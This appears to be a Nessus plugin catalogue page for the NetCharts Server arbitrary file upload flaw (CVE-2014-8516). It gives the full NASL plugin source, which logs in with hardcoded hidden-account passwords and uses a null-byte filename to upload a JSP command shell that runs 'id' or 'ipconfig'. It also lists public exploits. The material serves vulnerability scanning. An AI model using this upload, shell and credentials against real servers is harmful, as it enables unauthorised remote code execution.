Visual Mining NetCharts Server Arbitrary File Upload - Nessus

High Plugin ID: 80083

This page contains detailed information about the Visual Mining NetCharts Server Arbitrary File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 80083
Name: Visual Mining NetCharts Server Arbitrary File Upload
Filename: visual_mining_netcharts_server_file_upload.nasl
Vulnerability Published: 2014-11-03
This Plugin Published: 2014-12-17
Last Modification Time: 2021-01-19
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, visual_mining_netcharts_server_web_detect.nbin
Required KB Items [?]: installed_sw/Visual Mining NetCharts Server
Excluded KB Items: global_settings/supplied_logins_only

Vulnerability Information

Severity: High
Vulnerability Published: 2014-11-03
Patch Published: N/A
CVE [?]: CVE-2014-8516
CPE [?]: cpe:/a:visual_mining:netcharts_server

Synopsis

The remote web server contains a JSP script that allows arbitrary file uploads.

Description

The Visual Mining NetCharts Server web interface installed on the remote web server is affected by a file upload vulnerability due to a built-in hidden account. An unauthenticated, remote attacker can exploit this issue to upload files with arbitrary code and then execute them on the remote host.

Solution

Restrict access to the vulnerable server.

Public Exploits

Target Network Port(s): 8001
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Visual Mining NetCharts Server Arbitrary File Upload vulnerability:

Metasploit: exploit/multi/http/visual_mining_netcharts_upload
[Visual Mining NetCharts Server Remote Code Execution]
Exploit-DB: exploits/java/remote/35211.rb
[EDB-35211: Visual Mining NetCharts Server - Remote Code Execution (Metasploit)]
D2 Elliot: visual_mining_netcharts_server_7.0_file_upload.html
[Visual Mining NetCharts Server 7.0 File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.3 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.2 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(80083);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-8516");
  script_bugtraq_id(70895);

  script_name(english:"Visual Mining NetCharts Server Arbitrary File Upload");
  script_summary(english:"Attempts to upload a file to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a JSP script that allows arbitrary file
uploads.");
  script_set_attribute(attribute:"description", value:
"The Visual Mining NetCharts Server web interface installed on the
remote web server is affected by a file upload vulnerability due to a
built-in hidden account. An unauthenticated, remote attacker can
exploit this issue to upload files with arbitrary code and then
execute them on the remote host.");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-372/");
  script_set_attribute(attribute:"solution", value:
"Restrict access to the vulnerable server.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Visual Mining NetCharts Server 7.0 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Visual Mining NetCharts Server Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:visual_mining:netcharts_server");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("visual_mining_netcharts_server_web_detect.nbin", "os_fingerprint.nasl");
  script_require_keys("installed_sw/Visual Mining NetCharts Server");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/www", 8001);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

app = "Visual Mining NetCharts Server";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:8001);

install = get_single_install(app_name:app, port:port);
install_dir = install["path"];

creds = make_array("Admin", "Admin", "Scheduler", "!@#$scheduler$#@!");

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";
line_limit = 2;

vuln = FALSE;

foreach cmd (cmds)
{
  if (cmd == 'id')
    dir_cmd = 'pwd';
  else
    dir_cmd = 'cmd /c dir .';

  jsp_content = '<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("'+cmd+'");
Process p2 = Runtime.getRuntime().exec("'+dir_cmd+'");
String output= "";
String temp = null;
InputStreamReader reader = new InputStreamReader(p.getInputStream());
BufferedReader stdin = new BufferedReader(reader);

while ((temp = stdin.readLine()) != null)
{
  output += temp;
  if (temp.length() > 0) {output += "\\n";}
}

output += "\\n";
temp = null;
reader = new InputStreamReader(p2.getInputStream());
stdin = new BufferedReader(reader);

while ((temp = stdin.readLine()) != null)
{
  output += temp;
  if (temp.length() > 0) {output += "\\n";}
}
%><%= output %>';

  foreach user (keys(creds))
  {
    pass = creds[user];

    clear_cookiejar();

    jsp_file_name = "nessus_" + rand() + ".jsp";
    bound = "_bound_nessus_" + rand();

    post_data =
      '--' + bound + '\r\n' +
      'Content-Disposition: form-data; name="FILE1"; filename="' + jsp_file_name + '\x00nessusArchive0301140000.zip"\r\n' +
      'Content-Type: application/octet-stream\r\n' +
      '\r\n' +
      jsp_content + '\r\n' +
      '--' + bound + '--';

    path = install_dir + "Admin/archive/upload.jsp?mode=getZip";

    # Attempt upload
    res2 = http_send_recv3(
      method    : "GET",
      item      : path,
      data      : post_data,
      username  : user,
      password  : pass,
      add_headers:
        make_array("Content-Type",
                   "multipart/form-data; boundary=" + bound),
      port         : port,
      exit_on_fail : TRUE
    );
    exp_request = http_last_sent_request();

    # if our creds don't work for the upload, skip attempting to verify
    if ("401" >< res2[0])
      continue;

    # Try accessing the file we created
    upload_loc = install_dir + "Admin/archive/ArchiveCache/";
    verify_path = upload_loc + jsp_file_name;
    res2 = http_send_recv3(
      method       : "GET",
      item         : verify_path,
      port         : port,
      username     : user,
      password     : pass,
      exit_on_fail : TRUE
    );
    output = res2[2];

    if (output =~ cmd_pats[cmd])
    {
      vuln = TRUE;

      get_up_path = "";
      # Extract path for reporting
      if (cmd == 'id')
      {
        line_limit = 2;
        get_path = strstr(output, "/");
        get_up_path = chomp(get_path) + "/webapps/Admin/archive/ArchiveCache/";
      }
      else
      {
        line_limit = 10;
        get_path = strstr(output, "Volume in drive");
        get_dir = egrep(pattern:" Directory of (.+)", string:get_path);
        if(get_dir != "")
           get_up_path = chomp((get_dir - " Directory of ")) + '\\webapps\\Admin\\archive\\ArchiveCache\\';
      }
      break;
    }
  }
  if (vuln) break;
}

full_url = build_url(port:port, qs:path);
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, full_url);

verify_url = build_url(port:port, qs:verify_path);

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  cmd         : cmd,
  line_limit  : line_limit,
  request     : make_list(full_url, verify_url),
  output      : chomp(output),
  rep_extra   : '\n' + 'Note: This file has not been removed by Nessus and will need to be' +
                '\n' + 'manually deleted (' + get_up_path + jsp_file_name + ').'
);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/visual_mining_netcharts_server_file_upload.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\visual_mining_netcharts_server_file_upload.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/visual_mining_netcharts_server_file_upload.nasl

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How to Run

Here is how to run the Visual Mining NetCharts Server Arbitrary File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Visual Mining NetCharts Server Arbitrary File Upload plugin ID 80083.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

70895

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file visual_mining_netcharts_server_file_upload.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

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Visual Mining NetCharts Server Arbitrary File Upload - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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